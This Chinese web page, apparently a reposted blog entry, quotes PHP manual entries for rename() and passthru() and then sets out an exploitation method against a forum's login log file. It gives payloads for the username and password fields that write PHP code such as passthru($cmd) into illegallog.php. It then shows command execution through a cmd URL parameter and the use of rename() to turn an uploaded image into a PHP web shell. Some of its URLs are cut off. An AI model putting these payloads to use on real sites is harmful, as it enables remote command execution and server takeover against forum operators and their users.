PHP函数:passthru()与rename(file1,file2)

rename

(PHP 3, PHP 4 )

rename -- 文件重命名

说明

bool rename ( string oldname, string newname)

尝试把 oldname 重命名为 newname

如果成功则返回 TRUE,失败则返回 FALSE

passthru

(PHP 3, PHP 4 )

passthru --  Execute an external program and display raw output

Description

void passthru ( string command [, int return_var])


三、利用方法
不用注册任何账户,到登陆页面,在登陆用户名的地方先输入<?phpinfo();(注意有分号),然后在输入密码的地方输入?>123456,回车。这里大家可能明白了,密码前两位是显示的,这样illegallog.php里面保存的就是:
<?phpinfo(); ?>*****6 127.0.0.1 1022383175

这就可以查看php的设置了,我们先看一下register_globals这个设置是否为on。(大部分的网站都是on)好,然后我们在登陆口输入<?passthru($cmd);?>,这里最好不用system(),我在做测试的时候很多网站把这个system()函数禁用了。
然后我们调用 http://192.168.0.13/forumdata/illegallog.php?cmd=dir
前面出来一堆垃圾信息,往最下面看是不是可以看到目录被列出来了?但是这样写入有点麻烦,因为在实验的时候,大的网站注册用户有10万多人,那么这个文件会大的出奇,打开速度奇慢。
那么我们这里其实还可以这样写入<?reaname($a,$b);?>,我们把php的shell改成jpg格式的图片,上传到主机。
在URL中调用:
http://192.168.0.13/forumdata/illegallog.p...chments/Jam.php
然后我们直接提交URL:
http://192.168.0.13/attachments/Jam.php就?...一个shell了吧!

你可能感兴趣的:(File)